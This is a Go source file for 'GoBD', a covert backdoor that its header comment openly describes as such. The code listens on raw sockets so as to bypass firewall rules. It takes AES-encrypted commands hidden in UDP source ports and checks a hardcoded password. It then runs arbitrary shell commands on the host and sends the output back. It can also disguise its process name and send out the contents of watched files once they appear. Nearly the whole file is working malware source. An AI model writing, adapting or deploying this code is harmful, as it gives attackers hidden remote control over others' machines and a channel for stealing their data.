/
server.go
344 lines (293 loc) · 10.1 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
package main
/* bdmain.go
PROGRAM: GoBD
AUTHOR: Ramzi Chennafi
DATE: October 18 2015
FUNCTIONS:
main()
beginListen(ip string, port, lport uint16)
monitorFile(ip, filename string, port uint16)
executeServerCommand(data, ip string, port uint16)
executeCommand(cmd, ip string, port uint16)
ABOUT:
bdmain.go is the central code body for the GoBD program. Contained within are all methods related to starting and stopping
the server and client. The communications are done using UDP and covert data hiding within the source port of the UDP packets.
All transfers are done using raw sockets and as such, bypass system firewall rules. Furthermore, all data is encrypted with AES-256
prior to being covertly sent.
USAGE:
Type GoBD --help. While authenticated type ?help for more info on client options. Requires a backdoor to connect to. These
two programs can be used across any operating system, commands will be executed the same.
*/
import(
"os"
"time"
"os/exec"
"bytes"
"io/ioutil"
"flag"
"encoding/binary"
"fmt"
"strings"
"github.com/google/gopacket/layers"
"runtime"
"github.com/google/gopacket/pcap"
"github.com/google/gopacket"
"net"
)
const (
FPORT = 1
passwd = "D"; //The authentication code
MAX_PORT uint16 = 65535
CLIENT = 1
SERVER = 0
SND_CMPLETE uint16 = 3414
FSND_CMPLETE uint16 = 3415
FTRANSFER = 1
CMD = 0
HELPSTR= "Client Usage Help\n" +"=================================\n" +
"EXEC Commands\nSending any command will result in it being executed by the backdoor at the other end.\n" +
"Once the command is sent, you will recieve the output back from the backdoor.\n============\nBD Commands\n" + "These commands are prefixed by a ! and are executed on the backdoors own program options\n!setprocess [name]\n" + "==================================\n"
)
var (
authenticatedAddr string //Currently authenticated address
handle *pcap.Handle
fhandle *pcap.Handle
err error
localip net.IP
localmac net.HardwareAddr
destmac net.HardwareAddr
pType int
)
/*
FUNCTION: func main()
RETURNS: Nothing
ABOUT:
The main loop of program execution. Allows for retreiving of flags and intiation of client / server.
*/
func main(){
//flags
modePtr := flag.String("mode", "client", "The mode of the application, may either be" +
" client or server. Defaults to client.")
ipPtr := flag.String("ip", "127.0.0.1", "The ip to connect to if in client mode.")
portPtr := flag.Int("port", 3322, "The port to connect to in client mode, or to listen on in server mode. Defaults to 3322.")
interfacePtr := flag.String("iface", "wlan0", "The interface for the backdoor to monitor for incoming connection, defaults to eth0.")
lPortPtr := flag.Int("lport", 3321, "The port for the client to listen on.")
hiddenPtr := flag.String("visible", "true", "Determines whether the server will be hidden or not. true for visible and false for invisible.")
dstMacPtr := flag.String("dMac", "", "Destination mac of the outgoing connection.")
//flags
flag.Parse()
destmac, _ = net.ParseMAC(*dstMacPtr)
localip = GetLocalIP()
localmac = GetLocalMAC(*interfacePtr)
if *hiddenPtr == "false" && *modePtr == "server" {
var procAttr os.ProcAttr
procAttr.Files = []*os.File{os.Stdin, nil, nil}
arguments := make([]string, 7)
arguments[0] = ""
arguments[1] = fmt.Sprintf("-mode=%s", *modePtr)
arguments[2] = fmt.Sprintf("-ip=%s", *ipPtr)
arguments[3] = fmt.Sprintf("-port=%d", *portPtr)
arguments[4] = fmt.Sprintf("-iface=%s", *interfacePtr)
arguments[5] = fmt.Sprintf("-lport=%d", *lPortPtr)
arguments[6] = fmt.Sprint("-visible=invalid")
if runtime.GOOS == "windows"{
_, err := os.StartProcess("GoBD", arguments, &procAttr)
checkError(err)
} else {
_, err := os.StartProcess("./GoBD", arguments, &procAttr)
checkError(err)
}
return
}
intiateTools()
intiateHandles(*interfacePtr)
switch *modePtr {
case "client":
fmt.Printf("Running in client mode. Connecting to %s at port %d.\n", *ipPtr, *portPtr)
pType = CLIENT
intiateClient(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
break
case "server":
fmt.Printf("Running in server mode. Listening on %s at port %d\n", GetLocalIP(), *portPtr)
pType = SERVER
beginListen(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
}
}
/*
FUNCTION: intiateHandles(iface string)
RETURNS: Nothing
ARGUMENTS:
string iface - the interface to monitor
ABOUT:
Intiates all packet capture handles for the client. One for the main system and one for the file thread.
*/
func intiateHandles(iface string) {
handle, err = pcap.OpenLive(iface, 1600, true, pcap.BlockForever)
checkError(err)
err = handle.SetBPFFilter("udp")
checkError(err)
fhandle, err = pcap.OpenLive(iface, 1600, true, pcap.BlockForever)
checkError(err)
err = fhandle.SetBPFFilter("udp")
checkError(err)
}
/*
FUNCTION: beginListen(ip string, port, lport uint16)
RETURNS: Nothing
ARGUMENTS:
string ip : the ip address of the server
uint16 port : port to send data to
uint16 lport : port to listen for data on
ABOUT:
Intiates the listen loop of the program for both the client and server.
Will perform differently based on the user specified mode.
*/
func beginListen(ip string, port, lport uint16) {
var ipLayer layers.IPv4
var ethLayer layers.Ethernet
var udpLayer layers.UDP
var payload gopacket.Payload
parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipLayer, &udpLayer, &payload)
decoded := make([]gopacket.LayerType, 0, 4)
buffer := new(bytes.Buffer)
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for {
packet, err := packetSource.NextPacket()
checkError(err)
err = parser.DecodeLayers(packet.Data(), &decoded)
if err != nil {
continue
}
if len(decoded) < 3 {
fmt.Println("Not enough layers!")
continue
}
incomingIP := ipLayer.SrcIP.String()
if pType == CLIENT {
if incomingIP == ip {
switch uint16(udpLayer.DstPort){
case lport:
err = binary.Write(buffer, binary.BigEndian, MAX_PORT - uint16(udpLayer.SrcPort))
checkError(err)
break;
case SND_CMPLETE:
data := decrypt_data(buffer.Bytes())
fmt.Print(string(data))
buffer.Reset()
}
}
} else {
if incomingIP == authenticatedAddr {
switch uint16(udpLayer.DstPort) {
case lport:
err = binary.Write(buffer, binary.BigEndian, MAX_PORT - uint16(udpLayer.SrcPort))
checkError(err)
break
case SND_CMPLETE:
strData := string(decrypt_data(buffer.Bytes()))
if strings.HasPrefix(strData, "[EXEC]") {
executeCommand(strData, incomingIP, port);
}
if strings.HasPrefix(strData, "[BD]") {
executeServerCommand(strData, incomingIP, port);
}
buffer.Reset()
}
} else if uint16(udpLayer.DstPort) == lport {
data := decrypt_data(udpLayer.Payload)
if string(data) == passwd {
fmt.Printf("Authcode recieved, opening communication with %s\n", incomingIP);
authenticatedAddr = incomingIP;
sendEncryptedData(port, "Authentication code verified!\n", ip, CMD)
}
}
}
}
}
/*
FUNCTION: executeServerCommand(data, ip string, port uint16)
RETURNS: Nothing
ARGUMENTS:
string ip : the ip address of the server
uint16 port : port to send data to
string data : command to execute
ABOUT:
Executes incoming client commands on the GoBD program itself. Current commands include:
setprocess [name] - sets the process name of the gobd program
monitor [filename] - monitors for the specified filename, sends when found
exit - exits the gobd program cleanly
*/
func executeServerCommand(data, ip string, port uint16) {
fmt.Printf("%s\n", data);
tempstr := strings.SplitAfterN(data, "[BD]!", 2);
args := strings.Split(tempstr[1], " ");
var out string;
switch args[0] {
case "setprocess" :
err := SetProcessName(args[1]);
if err != nil {
fmt.Printf("%s\n", err);
out = fmt.Sprintf("%s", err);
} else {
out = fmt.Sprintf("Process name set to %s\n", args[1]);
}
break;
case "monitor":
sendEncryptedData(port, "Monitoring file " + args[1] + "...\n", ip, CMD);
go monitorFile(ip, args[1], port);
break;
case "exit" :
sendEncryptedData(port, "Server exiting...\n", ip, CMD);
os.Exit(0);
break;
default:
out = "Not a valid command.\n";
}
fmt.Printf("%s", out);
sendEncryptedData(port, out, ip, CMD);
}
/*
FUNCTION: monitorFile(ip, filename string, port uint16)
RETURNS: Nothing
ARGUMENTS:
string ip - the ip address of the server
string filename - the filename to monitor for
uint16 port - the port to send data on, adds the FPORT value to this
ABOUT:
Monitors for the filename specified. Once the file is found, the data is sent to the specified ip
and port (port + FPORT). Exits thread once transfer is finished.
*/
func monitorFile(ip, filename string, port uint16){
for {
time.Sleep(1000 * time.Millisecond);
if _, err := os.Stat(filename); err == nil {
fmt.Printf("Found file %s\n", filename)
file, err := ioutil.ReadFile(filename)
checkError(err)
sendEncryptedData(port + FPORT, string(file), ip, FTRANSFER)
return
}
}
}
/*
FUNCTION: executeCommand(cmd, ip string, port uint16)
RETURNS: Nothing
ARGUMENTS:
string ip : the ip address of the server
uint16 port : port to send data to
string cmd : command to execute
ABOUT:
Executes incoming client commands on the host machine. Trims and excess
nulls and spaces off each argument.
*/
func executeCommand(cmd, ip string, port uint16){
fmt.Printf("%s\n", cmd);
tempstr := strings.SplitAfterN(cmd, "[EXEC]", 2);
args := strings.Split(tempstr[1], " ");
for i, str := range args {
args[i] = strings.Trim(str, " \x00")
}
out, _ := exec.Command(args[0], args[1:]...).CombinedOutput();
fmt.Printf("OUT:\n%s", out);
sendEncryptedData(port, string(out[:]), ip, CMD);
}